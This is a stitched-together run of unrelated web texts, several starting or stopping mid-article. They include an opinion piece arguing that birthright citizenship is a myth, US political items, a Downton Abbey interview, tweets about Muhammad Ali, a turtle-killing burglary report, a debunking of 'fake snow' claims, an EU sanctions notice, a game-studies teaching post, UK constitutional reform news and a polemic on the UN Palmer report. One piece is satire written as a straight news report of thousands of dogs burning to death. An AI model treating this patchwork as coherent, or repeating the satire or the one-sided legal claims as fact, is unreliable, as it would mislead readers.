Next Time: Baby Step 2 – Pay Off All Debt Using The Debt Snowball
After saving up your $1000 emergency fund, the next baby step is to pay off all your debts using the debt snowball. Stay tuned for that next time!
Have you used Dave Ramsey's baby steps? Were you able to get your $1000 saved up quickly when you started? What did you have to do to get it done? Tell us your thoughts on the Baby Steps in the comments.
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The Constitution’s Fourteenth Amendment does not confer citizenship on the children of foreigners, whether legal or illegal.
Media commentators have gotten this issue dead wrong. Fox News’s Judge Andrew Napolitano says the Fourteenth Amendment is “very clear” that its Citizenship Clause commands that any child born in America is automatically an American citizen.
That’s not the law. It has never been the law.
Under current immigration law—found at 8 U.S.C. § 1401(a)—a baby born on American soil to a (1) foreign ambassador, (2) head of state, or (3) foreign military prisoner is not an American citizen.
How is that possible? This is from the Immigration and Nationality Act of 1952 (INA), as it has been amended over the years. Is this federal law unconstitutional?
No. The Citizenship Clause of the Fourteenth Amendment provides: “All persons born or naturalized in the United States, and subject to the jurisdiction thereof, are citizens of the United States and of the State wherein they reside.” Today’s debate turns on the six words, “and subject to the jurisdiction thereof.”
As captured in the movie Lincoln, the Thirteenth Amendment—which ended slavery—barely passed Congress because many Democrats supported slavery, and it was only through the political genius and resolve of Republican President Abraham Lincoln that the proposed amendment passed Congress in 1865, sending it to the states for ratification.
In 1866, Congress passed a Civil Rights Act to guarantee black Americans their constitutional rights as citizens, claiming that the Constitution’s Thirteenth Amendment gave Congress the power to pass such laws. But many voted against the Civil Rights Act because they thought it exceeded Congress’s powers, and even many of its supporters doubted its legality.
The Civil Rights Act included a definition for national citizenship, to guarantee that former slaves would forever be free of the infamous Dred Scott decision which declared black people were not American citizens. That provision read, “All persons born in the United States, and not subject to any foreign power, excluding Indians not taxed, are hereby declared to be citizens of the United States.”
That was the original meaning of the jurisdiction language in the Fourteenth Amendment. A person who is “subject to the jurisdiction” of the United States is a person who is “not subject to any foreign power”—that is, a person who was entirely native to the United States, not the citizen or subject of any foreign government. The same members of Congress who voted for the Thirteenth Amendment in 1865 then voted to define citizenship for freed slaves in a federal law in 1866, then voted again months later in 1866—using only slightly different language—to put that definition of citizenship in the Constitution, language that was ultimately ratified by the states in 1868 as the Fourteenth Amendment.
In 1884, the Supreme Court in Elk v. Wilkins noted that the language of the Civil Rights Act was condensed and rephrased in the Fourteenth Amendment and that courts can therefore look to the Civil Rights Act to understand better the meaning of the Fourteenth Amendment. The Court reasoned that if a person is a foreign citizen, then their children are likewise not constitutionally under the jurisdiction of the United States, and therefore not entitled to citizenship. In fact, the Court specifically then added that this rule is why the children of foreign ambassadors are not American citizens.
That is why Congress can specify that the children of foreign diplomats and foreign soldiers are not Americans by birth. They’re not “subject to the jurisdiction” of the United States. Congress’s INA does not grant them citizenship; federal law never has.
So why is a child born on American soil to foreign parents an American citizen by birth? Because the Fourteenth Amendment’s Citizenship Clause is a floor, not a ceiling. Under Article I, Section 8, Clause 4 of the Constitution, Congress has absolute power to make laws for immigration and for granting citizenship to foreigners. Congress’s current INA is far more generous than the Constitution requires. Congress could expand it to grant citizenship to every human being on earth, or narrow it to its constitutional minimum.
Media confusion on this issue is puzzling, because the greatest legal minds in this country have discussed the issue. (Just none of them were put on camera to explain it.) Scholars including Dr. John Eastman of Chapman University, and even Attorney General Edwin Meese—the godfather of constitutional conservatism in the law—reject the myth of birthright citizenship.
Nor is rejection of birthright citizenship limited to conservatives. Judge Richard Posner—a prolific scholar who, despite being appointed by Ronald Reagan, is a liberal judicial activist—wrote in 2003 in Ofoji v. Ashcroft:
We should not be encouraging foreigners to come to the United States solely to enable them to confer U.S. citizenship on their future children. But the way to stop that abuse of hospitality is to remove the incentive by changing the rule on citizenship…. A constitutional amendment may be required to change the rule whereby birth in this country automatically confers U.S. citizenship, but I doubt it…. The purpose of the rule was to grant citizenship to the recently freed slaves, and the exception for children of foreign diplomats and heads of state shows that Congress did not read the citizenship clause of the Fourteenth Amendment literally. Congress would not be flouting the Constitution if it amended the Immigration and Nationality Act to put an end to the nonsense.
It is another question as to whether Congress could strip citizenship from the children of illegals who already have it. If Congress could do that, then it could also strip citizenship from the many millions of foreigners who came to the United States legally and went through the lawful process to become Americans. There is no court precedent for that, and the congressional and ratification debates from the Fourteenth Amendment do not reveal a clear answer.
Trump could rescind President Barack Obama’s executive amnesty, but that executive order did not grant anyone citizenship, and it would be a steep uphill climb in court to try to take someone’s citizenship away. And if the children already here are American citizens, then they could never be deported.
Some other parts of Trump’s plan face even longer odds. The Due Process Clause of the Fifth Amendment to the Bill of Rights applies to all “persons,” not just citizens. And the courts have always held that due process requires any foreigner to be given a “meaningful hearing” in court before being deported. That would certainly impact the pace of deportation.
Donald Trump’s position on immigration has changed drastically from his previous positions, just like his past support for socialized healthcare and abortion. He has not yet explained why he changed his position on immigration, and some voters do not trust that he sincerely holds to his current campaign positions.
But none of that changes the legality of his immigration proposal. While parts of it may face legal challenges, denying citizenship to the children of illegal aliens is fully consistent with the Constitution’s Fourteenth Amendment.
The liberal documentary filmmaker wrote on Twitter on Thursday:
Hey @realDonaldTrump she brought me on because she needed a real man on the show. Grow a pair &show up 2nite, u wuss https://t.co/mkVyXkagR1 — Michael Moore (@MMFlint) January 28, 2016
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Trump announced this week that he’s boycotting the debate in Iowa amid a feud with the network and moderator Megyn Kelly. Trump has repeatedly lashed out at Kelly since the first GOP debate, in August, when the “Kelly File” host pressed him about his derisive language toward women.
Trump’s campaign instead will hold a pro-veterans event Thursday at the same time as Fox News’s prime-time showdown, his campaign has said.
Moore, who won an Academy Award for 2002’s “Bowling for Columbine,” appeared as a guest on “The Kelly File” Tuesday and defended its host. “You’re being attacked,” Moore told Kelly, “I’m here for you.”
"I'm going to sign a law that bans sanctuary cities," Abbott tweeted on Sunday.
"Also I've already issued an order cutting funding to sanctuary cities."
Yes. I'm going to sign a law that bans sanctuary cities. Also I've already issued an order cutting funding to sanctuary cities. #txlege https://t.co/uYXa2QFrvE — Greg Abbott (@GregAbbott_TX) November 28, 2016
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Abbott was responding to a Twitter user who questioned whether the Texas governor could do anything to reverse Austin's pledge to remain a sanctuary city.
During his presidential campaign, President-elect Donald Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE pledged to deport millions of immigrants.
He said during an interview shortly after his victory he would prioritize deporting or jailing any undocumented immigrants who were members of gangs or had criminal records.
He also vowed during the campaign to block federal dollars from cities that give sanctuary to undocumented immigrants.
Michelle Dockery, left, and Joanne Froggatt share a moment together as the finale of PBS's 'Downton Abbey' approaches. (Photo: Dan MacMedan, USA TODAY)
BEVERLY HILLS, Calif. – A huge class divide hasn't stopped Downton Abbey's Lady Mary and her lady's maid, Anna Bates, from finding a way to connect.
“The most interesting part of this story is the relationship between the two worlds. Mary has her most sisterly relationship with Anna. She knows her better than anyone,” Michelle Dockery (Mary) says in a joint interview with Joanne Froggatt (Anna) before the sixth and final season of PBS Masterpiece's Downton (Sundays, 9 p.m. ET/PT, check local listings). “For me and Jo, that’s been a huge part of the experience, those scenes between the two of them.”
Anna has a strong marriage to her downstairs colleague, Mr. Bates (Brendan Coyle), but she speaks most freely to Mary.
“Mary’s been the one from the start that Anna’s always confided in,” Froggatt says. “They really genuinely care for each other. Anna won’t hear a bad word said about Lady Mary, even though she’s not always perfect."
That applies from the other direction, too, Dockery says. “A lot of the time, Mary doesn’t really care what other people think, especially the family. But it’s important that she gets approval from Anna.”
Mary’s relationship with her real sister, Lady Edith (Laura Carmichael), is fractious, leading to plenty of drama. “There’s some really great stuff between the sisters,” especially late in the season, Dockery says.
Michelle Dockery plays the elegant, sharp-tongued Lady Mary on PBS's 'Downton Abbey.' (Photo: Nick Briggs, Carnival Film & Television Limited)
While Anna has a husband, the widowed Lady Mary, who has a young child, is seeking a new partner.
"It's complicated. She's a widow now, so her choices are different, because it's about finding a father for George as well," Dockery says.
Dashing race-car driver Henry Talbot (Matthew Goode) is a candidate, although Mary may not agree. "That’s the sort of guy she would have liked at the beginning," Dockery says. " Mary was a rebel. Then her position gave her more responsibility, and she kind of became the person she didn’t want to be.”
There’s a playful give and take between the two actors as they discuss swapping their Downton roles.
“I definitely want the (upstairs) wardrobe,” Froggatt says.
Dockery cautions. “Sometimes, you’re like, ‘You can take it,’ " because of all the costume changes during filming.
Froggatt reconsiders: “I’m so glad all I have to do is one fitting" at the beginning of each season.
And Dockery decides she doesn't mind: . The outfit changes “are always worth it, because they are knockout.”
Mr. Bates (Brendan Coyle), left, and Anna (Joanne Froggatt) have faced many challenges on PBS's 'Downton Abbey.' (Photo: Nick Briggs, Carnival Film & Television Limited)
The period covered by Masterpiece's Downton – 1912 and through World War I to a technologically advanced 1925 – reflects massive change. “You definitely feel those social changes, more so for the women,” Froggatt says. “You feel there are starting to be more opportunities for women and for the working classes.”
New opportunities greet the actors, too. Dockery is set to play a thief and con artist in contemporary America in upcoming TNT drama Good Behavior, while Froggatt will go back to the 19th century to play poisoner Mary Ann Cotton in Masterpiece’s two-part Dark Angel.
They appreciate their Downton fame, with each ending heading toward the March 6 series finale serving as a reminder.
“The last day (shooting) at Highclere Castle was a big day,” Dockery says. “That’s when it really started to sink in.”
Several NHLers took to social media to honor Ali.
Sad to hear about the passing of Muhammad Ali. Greatest boxer of all time and always fighting to help others. — Daniel Winnik (@Danwinnik34) June 4, 2016
“It's hard to be humble when you're as great as I am." - Muhammad Ali. RIP Champ — Blake Wheeler (@BiggieFunke) June 4, 2016
Sad day. This man was iconic changed so many people's lives @MuhammadAli. The legacy will never die. Rest in peace champ — Nazem Kadri (@43_Kadri) June 4, 2016
RIP to one of the greatest athletes of all time."He who is not courageous enough to take risks will accomplish nothing in life" Muhammad Ali — Kevin Hayes (@KevinPHayes12) June 4, 2016
The greatest will be missed #MuhammedAli — Evander Kane (@evanderkane_9) June 4, 2016
I hated every minute of training, but I said, 'Don't quit. Suffer now and live the rest of your life as a champion.' - Muhammad Ali #RIP — Stanislav Galiev (@Galixon_97) June 4, 2016
RIP Muhammad Ali. You were my father's favorite athlete and in turn became one of my favs. A great fighter and humanitarian. #TheGreatest — John Mitchell (@mitchabov) June 4, 2016
RIP Muhammad Ali. What a legend! #RIPChamp — Eddie Lack (@eddielack) June 4, 2016
GREATEST A photo posted by Nate Thompson (@nthompson44) on Jun 3, 2016 at 10:25pm PDT
Baltimore County Police have an arrest warrant and are looking for a man they say may have killed a pet turtle during a burglary in Parkville.
Police say that sometime in the overnight hours of Jan. 20 to 21, while the victim was out, two men entered a home in the unit block of Barnwell Court through an unsecured ground floor window. They took numerous electronics and accessories, two televisions, gift cards, checks and jewelry. Before leaving, one of the men took the turtle, Donatella, from her terrarium home and impaled her with a knife-sharpener.
Police arrested one suspect, 24-year-old Calvin Krasheen Fogg of the 4400 block of Marble Hall Road in Original Northwood. He's charged with first-degree burglary, theft and aggravated cruelty to kill an animal.
The second suspect, still at large, is Michael Kennard Jones, 23, whose last known address was in the 3200 block of McElderry Street in Elwood Park. He's wanted for first-degree burglary and aggravated cruelty to kill an animal. He's also wanted in connection with a previous armed robbery and home invasion.
A daring mission deep into enemy territory is captured on camera by soldiers during Afghanistan's bloodiest summer on record.
Troop surges in 2010 forced the Taliban to fight dirty, using more IEDs than ever. Against this backdrop a 100-strong company from 2nd Battalion, Duke of Lancaster's Regiment was deployed into one of the most dangerous areas of Helmand, tasked with protecting a vital road link.
There are many people beginning to speculate that the snow is fake.
No, not that the snow didn’t happen–but that the white, frosty stuff on the ground is, in fact, not snow.
Several YouTube videos have been posted documenting “proof” that the snow in Atlanta is some sort of synthetic substance; additionally, these conspiracy theorists claim that this fake snow and the devastating affects it has had on the city of Atlanta are all part of a government plot. The conspiracy theorists say that this non-snow is the latest evidence of “chemtrails,” a long-standing conspiracy theory that postulates that the government hides chemicals in airplanes and douses unknowing citizens and locations with said chemicals. Theorists claim that this is all intended to serve as “testing” for when the powers-that-be unleash the full force of several man-made “natural” disasters, in the hopes of instituting martial law amidst the ensuing disarray.
Here is the basic rundown: The YouTube conspiracy theorists state that if you go outside and grab a handful of snow, then attempt to melt it with a lighter, it does not melt like “real snow.” No, this conspiracy snow only turns black and emits a pungent odor. That bizarre occurrence is proof enough that there is something amiss about this so-called “snow” in Georgia.
Of course, there isn’t much to this theory, once you examine it a bit.
In all of the clips, snow is being held to a lighter of some kind. Most lighters use butane, which is “dirty,” meaning it doesn’t burn clean. That dirty fuel is why the snow turns a little black. That’s also why it smells funny. If you take the snow to a flame that isn’t produced by butane–i.e. a campfire or a natural gas-burning stove, etc.–the snow begins to melt. It actually even melts when exposed to a butane flame, albeit slowly.
The EU has added 3 Russian nationals and 3 companies involved in the transfer of gas turbines to Crimea to the list of persons subject to restrictive measures in respect of actions undermining Ukraine's territorial integrity, sovereignty and independence.
The EU has not recognised the illegal annexation of Crimea and Sevastopol by the Russian Federation. As part of its non-recognition policy, the Council has prohibited the supply of key equipment for infrastructure projects in Crimea and Sevastopol in important sectors, including gas turbines in the energy sector. Establishing an independent power supply for Crimea and Sevastopol supports their separation from Ukraine, and undermines the territorial integrity, sovereignty and independence of Ukraine. Gas turbines are a substantial element in the development of new power plants.
The 3 persons have been added to the sanctions list for their responsibility in supplying Crimea with gas turbines from Russia. The turbines were originally sold by Siemens for use in the territory of the Russian Federation. The subsequent transfer of the turbines to Crimea was in breach of contractual provisions covering the original sale by Siemens. The companies placed under sanctions are the contracting party which purchased gas turbines and is responsible for the transfer, the current owner of the gas turbines, and a company specialising in control and communication systems for power plants, including in Sevastopol and Simferopol.
These sanctions consist of an asset freeze and a travel ban which will now apply to a total of 153 persons and 40 entities. The measures were introduced in March 2014 and were last extended in March 2017 until 15 September 2017.
The legal acts, including the names of the persons and the statements of reasons for listing them, are available in the EU Official Journal of 4 August 2017. The Council adopted these legal acts by written procedure.
Link to official journal
The farm, which for decades had provided a home to infirm canines and allowed them to live out their days romping happily in the fresh air, was decimated by the flames, and officials confirmed 3,000 animals either choked to death on the thick, acrid smoke or were burned alive.
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"There were no survivors—none," said county sheriff Patrick Calnan, who struggled to keep his emotions in check as he pointed to acres of melted squeak toys and pile after pile of charred golden retrievers and tiny Pomeranian corpses. "The saddest part is that all of these dogs, because they had been having so much fun outdoors in the bright sunshine with their doggy friends, had been getting healthier and healthier before the fire hit."
"They had so many happy years up at the farm, but it certainly wasn't worth the excruciating deaths they endured," continued Calnan, holding a scorched collar that read "Buster." "You can see by the tags here that this dog used to belong to someone named Cody Harrington of Brockton, MA. If only Cody hadn't been so allergic to ol' Buster, his faithful pup would still be alive today."
The sheriff also said he was awaiting forensic results on two sets of severely blackened remains found inside the gutted farmhouse and believed to be those of the old farmer and his wife, both of whom reportedly loved all the dogs very much and fed them whatever they wanted and gave every single one of them belly scratches each night.
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According to neighbors, in the moments before the fire struck, all of the dogs were wagging their tails in delight and playfully chasing one another around the barn.
"I woke up in the middle of the night to the sound of terrified howling," said Greta Landry, 79, who lives down the road from the farm. "Those poor, trapped dogs were barking so desperately, almost as if they were calling out for the little boys and girls who used to care for them when they were younger, but no one ever came."
While the cause of the fire remains unknown, investigators said the dogs' favorite fetching sticks served as kindling for the initial flames, causing the blaze to spread rapidly, with no dog able to scamper away from the raging inferno in time.
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Authorities noted that scores of formerly beloved parakeets, goldfish, and adorable floppy-eared bunnies also burned to death.
At press time, officials at nearby Memorial Hospital confirmed that, in addition, a dozen adult males died in the fire, all of them loving fathers who had gone out to the store several years earlier and were just on their way back home with big presents for their children when they saw the fire and tried to save the trapped dogs.
"By the time we got there, the property was engulfed in towering 90-foot flames, but you could still hear the dogs whimpering and pawing futilely at the barn door," Ravena fire chief Adam Lesser said. "It's going to be tough calling all the previous owners and telling them how their old pets died."
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Game studies has done a good job of figuring out what exactly constitutes a game and creating methodologies to interpret games, but I don’t think we’ve done a good job of focusing on pedagogy. And let me be clear, by pedagogy I do not mean the educational potentialities of game technologies – those of course have been well documented by James Paul Gee, Constance Steinkuehler, Yasmin B. Kafai and many others. What I mean is how do we as game studies scholars teach students how to read and interpret the games themselves, along with the surrounding discourses and paratextual industries that accompany games? Ed Chang has written an excellent article offering one answer to this question theorizing textual analysis of gameplay or, to use the term he creates, how to “close play” in a similar vein as close reading. I would like to offer another possibility using an example of how I teach game analysis, more specifically the analysis of gamic race, using the famous Leeroy Jenkins World of Warcraft (WOW) machinima.
In my classes, I do not have the curricular freedom or the technical capability to have students play a game like World of Warcraft (my classes are standardized introductory composition). However, most students are aware of the game and a short in-class demonstration of gameplay and further explanation usually affords them a basic understanding of how it works. With that background I then explain how a lot can be gained interpretively from looking at how game texts are appropriated, discussed, and remixed by the players. This builds on another lesson I often teach that I have blogged about previously that makes the point games must be analyzed not just in terms of what they represent visually, but also acknowledging the game technologies that are implicated in that representation (this is connected to Ian Bogost and Nick Montfort’s platform studies series at MIT). Therefore, by looking at the Leeroy Jenkins video and the surrounding player and media discourses students then get a more complete picture of all the different levels of meaning at work and available for analysis in a game.
Drawing on much of my argument put forth in “Blackless Fantasy” published in Games and Culture earlier this year, I then give them an overview of character creation systems in MMORPGs and the seemingly progressive push towards more options for visualization in order to facilitate more diversity. Students usually respond favorably to these changes and view them as the right thing to do given their familiarity with the rhetoric of multiculturalism. Once that is established I point out that even with these options available MMORPGs are predominantly whitewashed environments where blackness is viewed as abnormal and when black or brown avatars are present in MMORPG space they are often lampooned as incongruent with fantasy or sci-fi convention. (But that does not mean blackness is not of central importance to the game itself since high fantasy is obsessed with racial others.) My goal in discussing character creation is to expose the inherent problems of liberal multiculturalism since it understands social equity to be achieved through visibility and not deeper structural changes.
This is a fitting transition into the Leeroy Jenkins video which is representative of how blackness is understood within the context of the world by the players. I show the video with only a short explanation of its narrative purpose in order to illicit a more natural reaction to the humor of the video thus making the exposure of its racial logics more impactful.
After the viewing, we discuss the semiotics at work in the video and how Leeroy, a rare black avatar in WOW, is coded as black. Students often take note of the voice used by the player of Leeroy (a stereotypical 70s blaxploitation voice), the signification of the name as, once again, fitting with blaxploitation, but they often do not take note of the role played by Leeroy within the dynamic of the group.
The bumbling fool that is trying to fit into the predominantly white MMO space but ultimately screws it up for everyone is an example of the Zip Coon minstrel archetype. Demonstrating this to the students shows how these representations have a historical lineage and have undergone many permutations.
In order to counter common reactions to this reading by viewers—reactions that may be circling the classroom—I then have the class look at a Wikipedia discussion that questions the potentially racist content of the video. Please note, this discussion has since been deleted from Wikipedia.
Original Comment: Am I mistaken, or is this whole character a giant racial stereotype? HELLO?! –yuletide First Reply: I’m confused. He’s a character in a game. He doesn’t have a race. I’m white and I love chicken. I would lord my possession of good chicken over anyone I met. I would especially use it to deflect or downplay blame. Maybe the person who is racist is you. Megan 02:24, 20 March 2006 Second Reply: Maybe it is, why would that be so remarkable? The video is nothing but a bit of comedy after all. 132.162.213.109 05:00, 13 March 2006 Third Reply: I think you’re mistaken. Why’s it a stereotype? Because of the chicken comment? Even if it is, so what? Surely in some countries people are still free to say what they want, whether or not some folks will be offended by it. Sukiari 22:03, 14 March 2006
The discussion is representative of the common responses to claims of racial insensitivity within and without videogame culture and therefore it educates students as to the contours of the surrounding discourses. It is also productive in that it shows the importance of these issues and usefulness of the critical methodology.
While the students never analyze the game itself, by analyzing a machinima that mediates the game, students are shown how the politics of representation in videogames extend far beyond the character selections available to players and whether they adhere to or subvert dominant stereotypes.
I also like to conclude by pointing out how Blizzard, the game company behind WOW, has dealt with the potentially offensive content of the video by nullifying race while embracing the marketing potential of Leeroy Jenkins.
The Constitution Reform Group (CRG) believes that its proposed legislation is now the last chance to save the 300-year-old union given the renewed threat of a second Scottish independence referendum in the wake of the Brexit vote.
READ MORE: World reacts to Boris Johnson's appointment as Foreign Secretary
The aim of the 48-page Act Of Union Bill 2016 is to “to affirm that the peoples of [our] nations and parts have chosen to continue to pool their sovereignty for specified purposes, and to provide universal citizenship with social and economic rights”.
The CRG, whose members include the Marquess of Salisbury, who is the former Conservative Leader of the Lords, Lord Hain, the former Labour Northern Ireland Secretary, and Lord Campbell, the former Liberal Democrat leader, will now lobby the UK Government and Westminster to back the draft legislation, which it recognises can only be implemented with the support of the Tory administration under its new leader Theresa May.
“The referendum on Scottish independence followed swiftly by the flawed implementation of English votes for English laws and the enormous electoral success of the SNP, brought to the forefront of public consciousness the deep imbalances in the make-up of the Union,” explained Lord Campbell.
“The CRG was formed to address these imbalances and we believe that the Bill we have drafted is a good starting point. We want to turn the process of devolution upside down; the four nations of the United Kingdom should be sovereign but agree to pool that sovereignty on issues that it is agreed are best handled at a UK level.
READ MORE: Theresa May vows to 'build a better Britain' as she puts defence of Union at heart of her government
“The issues that divide the nation are far outweighed by the common values and cultures that have bound us together for hundreds of years. We hope that the new Prime Minister will take this unprecedented opportunity to realign our Union and secure it for centuries to come,” added the Scottish peer.
The CRG’s aim is to “wrest back the initiative from the separatists” and help save the 300-year-old United Kingdom by creating a bottom-up federal system, where each of the four parts of the UK would decide which powers they wanted to retain and then “federate upwards” and hand power over to the centre on issues they believe could be best managed by there; such as defence and foreign policy.
The bill includes proposals for:
the creation of an English Parliament
strengthened Scottish Parliament controlling all powers except those “central policy areas” assigned to the UK Parliament
the abolition of the House of Lords
a new UK Parliament revising chamber with members elected to it from the UK’s four national parliaments
increased regional devolution
central functions financed by central taxes such as income tax, VAT and corporation tax
the renaming of the Bank of England as the Bank of the United Kingdom with members of the board drawn from the four parts of the UK.
Recently, members of the CRG met David Cameron, the former PM, and have begun a process of liaison with the Cabinet Office, recognising that it is only with government support that it has any prospect of changing the constitution.
However, with the possibility of a second Scottish independence referendum now back on the agenda, with Labour about to undertake a constitutional review and with the issue of federalism increasingly part of the national conversation, the CRG is confident that its proposed legislation could begin the process of radical constitutional change to prevent the break-up of Britain.
READ MORE: World reacts to Boris Johnson's appointment as Foreign Secretary
If it received the backing of Westminster, then the issue of creating a federal UK would be put to the four parts of the Union in a referendum.
The Big Top 40 show on Capital FM and Heart opted not to play the song, which is performed and produced by Captain Ska.
During the chart show, hosted by Marvin Humes and Kat Shoob, it was announced the song was in the tenth spot before the song in ninth position started to play.
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The track features a range of Ms May’s speeches and interviews and attacks the Prime Minister’s record in office.
The lyrics of the song include “she’s a Liar, Liar…you can’t trust her, no no no no” and "when there's nurses going hungry and schools in decline I don't recognise this broken country of mine”.
Jake, a band member and songwriter from Captain Ska, said the song was written to “expose the horrific effects Tory policy has on ordinary people”.
“This can only be seen as an attempt by the media owners to undermine public opinion. Thousands of people have downloaded this track and we demand that it is aired as any other song would be," he said.
The song is being promoted by the People’s Assembly Against Austerity, who are asking people to complain about the track not being played on radio.
All proceeds from the song between 26 May and 8 June will be split between food banks around the UK and The People's Assembly Against Austerity.
by Stuart Littlewood
“Israel faces a real threat to its security from militant groups in Gaza. The naval blockade was imposed as a legitimate security measure in order to prevent weapons from entering Gaza by sea and its implementation complied with the requirements of international law… the flotilla acted recklessly in attempting to breach the naval blockade.”
That’s the conclusion of the Palmer inquiry, brought to you by that freak-show the United Nation, under its Secretary-General Ban Ki-Moon.
It’s completely at odds with what other experts have said. The UN itself has already accepted that Israel’s blockade is illegal. One of its own fact-finding missions declared that it constituted collective punishment of the people living in the Gaza Strip and thus was illegal and contrary to Article 33 of the Fourth Geneva Convention. The action by Israel’s military in intercepting the Mavi Marmara on the high seas was “clearly unlawful” and couldn’t be justified even under Article 51 of the Charter of the United Nations [the right of self-defence]. “No case can be made for the legality of the interception and the Mission therefore finds that the interception was illegal”.
The Centre for Constitutional Rights also concluded that the Israeli blockade was illegal. “Due both to the legal nature of Israel’s relationship to Gaza – that of occupier – and the impact of the blockade on the civilian population, amounting to ‘collective punishment’, the blockade cannot be reconciled with the principles of international law, including international humanitarian law… The flotilla did not seek to travel to Israel, let alone ‘attack’ Israel… Israel could have diplomatically engaged Turkey, arranged for a third party to verify there were no weapons onboard and then peacefully guided the vessel to Gaza.”
Craig Murray also knows a thing or two about such matters, having headed the Maritime Section of the Foreign and Commonwealth Office. He was responsible for giving political and legal clearance to Royal Navy boarding operations in the Persian Gulf following the Iraqi invasion of Kuwait, to enforce the UN authorised blockade against Iraqi weapons shipments. He commented: “Right of free passage is guaranteed by the UN Convention on the Law of the Seas… Israel has declared a blockade on Gaza and justified previous fatal attacks on neutral civilian vessels on the High Seas in terms of enforcing that embargo, under the legal cover given by the San Remo Manual of International Law Applicable to Armed Conflicts at Sea.”
But, he explains, San Remo only applies to blockade in times of armed conflict. “Israel is not currently engaged in an armed conflict… San Remo does not confer any right to impose a permanent blockade outwith times of armed conflict, and in fact specifically excludes as illegal a general blockade on an entire population.”
Furthermore, Security Council resolution 1860 (2009) emphasizes “the need to ensure sustained and regular flow of goods and people through the Gaza crossings” and calls for “the unimpeded provision and distribution throughout Gaza of humanitarian assistance, including of food, fuel and medical treatment”. Israel has imposed a land blockade for decades and until very recently had a hand in keeping Gaza’s land crossing with Egypt closed. The 2005 Agreement on Movement and Access between the Palestinian Authority and Israel is also ignored. So the only sensible channel for “unimpeded provision and distribution” is by sea.
Panel “cannot make definitive findings”
The Terms of Reference for the inquiry handed down by Ban Ki-Moon set out a ‘method of work’, which is described in the report this way…
“The Panel is not a court. It was not asked to make determinations of the legal issues or to adjudicate on liability…
“The Panel was required to obtain its information from the two nations primarily involved in its inquiry, Turkey and Israel, and other affected States…. the limitation is important. It means that the Panel cannot make definitive findings either of fact or law. The information for the Panel’s work came primarily through its interactions with the Points of Contact designated by Israel and Turkey.”
So it could not summon individuals or approach individuals or organizations direct. It could only do so through the Points of Contact designated by Israel and Turkey.
“The legal views of Israel and Turkey are no more authoritative or definitive than our own. A Commission of Inquiry is not a court any more than the Panel is. The findings of a Commission of Inquiry bind no one, unlike those of a court. So the legal issues at large in this matter have not been authoritatively determined by the two States involved and neither can they be by the Panel.”
The 4-man panel included a representative each from the governments of Turkey and Israel, and was headed by Sir Geoffrey Palmer (Chair) and Alvaro Uribe, 58th president of Colombia. Palmer was the 33rd prime minister of New Zealand if that’s any consolation.
Note the absence of anyone to represent the views of the party targeted by the blockade. Ban Ki-Moon didn’t think it necessary to invite someone from (horror of horrors) the government of Gaza. Can you imagine, if the tables were turned, the merry hell Israel would kick up if not represented on an inquiry about the legality of a blockade on one of its ports?
Limited to this, couldn’t do that… Ban Ki-Moon’s inquiry was warped from the start. “This Panel is unique. Its methods of inquiry are similarly unique,” says the report, slitting its own throat.
Key passages from Palmer’s nonsensical 105 pages speak for themselves:
“The naval blockade is often discussed in tandem with the Israeli restrictions on the land crossings to Gaza. However, in the Panel’s view, these are in fact two distinct concepts… the land crossings policy has been in place since long before the naval blockade was instituted. In particular, the tightening of border controls between Gaza and Israel came about after the take-over of Hamas in Gaza in June 2007. On the other hand, the naval blockade was imposed more than a year later, in January 2009. Second, Israel has always kept its policies on the land crossings separate from the naval blockade. The land restrictions have fluctuated in intensity over time but the naval blockade has not been altered since its imposition. Third, the naval blockade as a distinct legal measure was imposed primarily to enable a legally sound basis for Israel to exert control over ships attempting to reach Gaza with weapons and related goods.
“Israel has faced and continues to face a real threat to its security from militant groups in Gaza. Rockets, missiles and mortar bombs have been launched from Gaza towards Israel since 2001. More than 5,000 were fired between 2005 and January 2009, when the naval blockade was imposed. Hundreds of thousands of Israeli civilians live in the range of these attacks…. Since 2001 such attacks have caused more than 25 deaths and hundreds of injuries. The enormity of the psychological toll on the affected population cannot be underestimated. In addition, there have been substantial material losses. The purpose of these acts of violence, which have been repeatedly condemned by the international community, has been to do damage to the population of Israel. It seems obvious enough that stopping these violent acts was a necessary step for Israel to take in order to protect its people and to defend itself.”
Did they never consider the most obvious step of all – ending their illegal occupation?
“The Israeli report to the Panel makes it clear that the naval blockade as a measure of the use of force was adopted for the purpose of defending its territory and population, and the Panel accepts that was the case.
“Although a blockade by definition imposes a restriction on all maritime traffic… the Panel is not persuaded that the naval blockade was a disproportionate measure for Israel to have taken in response to the threat it faced.
“The Panel considers the conflict should be treated as an international one for the purposes of the law of blockade. This takes foremost into account Israel’s right to self-defence against armed attacks from outside territory.”
What about Gaza’s right to similarly defend its territory and population? It sounds like the Panel regards Gaza and the West Bank as the aggressor.
“It would be illegal if its imposition [i.e. the blockade] was intended to starve or to collectively punish the civilian population. However, there is no material before the Panel that would permit a finding confirming the allegations that Israel had either of those intentions or that the naval blockade was imposed in retaliation for the take-over of Hamas in Gaza or otherwise. On the contrary, it is evident that Israel had a military objective. The stated primary objective of the naval blockade was for security. It was to prevent weapons, ammunition, military supplies and people from entering Gaza and to stop Hamas operatives sailing away from Gaza with vessels filled with explosives… The earliest maritime interception operations to prevent weapons smuggling to Gaza predated the 2007 take-over of Hamas in Gaza. The actual naval blockade was imposed more than one year after that event. These factors alone indicate it was not imposed to punish its citizens for the election of Hamas.”
A catalogue of distortion
There are several things wrong with these assertions. Israel’s unending acts of violence have also been repeatedly condemned by the international community and there’s a string of UN resolutions to prove it. But they are never implemented.
Israel slapped a naval blockade on Gaza long before January 2009. Israeli gunboats were shelling Gaza and shooting up Gazan fishing boats in 2007 when I was there. An Interim Agreement signed in 1995 allowed the Israelis to weave a tangled web of security zoning in Gaza’s coastal waters and to dictate what happens off-shore and who comes and goes. It’s the sort of agreement no Palestinian would have signed except with a gun to his head.
Being “interim” these restrictions were not expected to last beyond 1999. But they are still in force. They predate rockets from Gaza, speaking of which why doesn’t Palmer, instead of trotting out details of these home-made missiles, tell us how many Israeli bombs, rockets, shells and prohibited ordnance have been fired at the Gazan population by Israeli jets, tanks and warships? Palmer talks about the 25 Israeli deaths and hundreds of injuries and “the enormity of the psychological toll” on the Israeli population. Regrettable as those casualties are, they are nothing compared with the mega-deaths and countless thousands maimed, the wholesale destruction of infrastructure and the psychological toll inflicted by Israel on the Gazans.
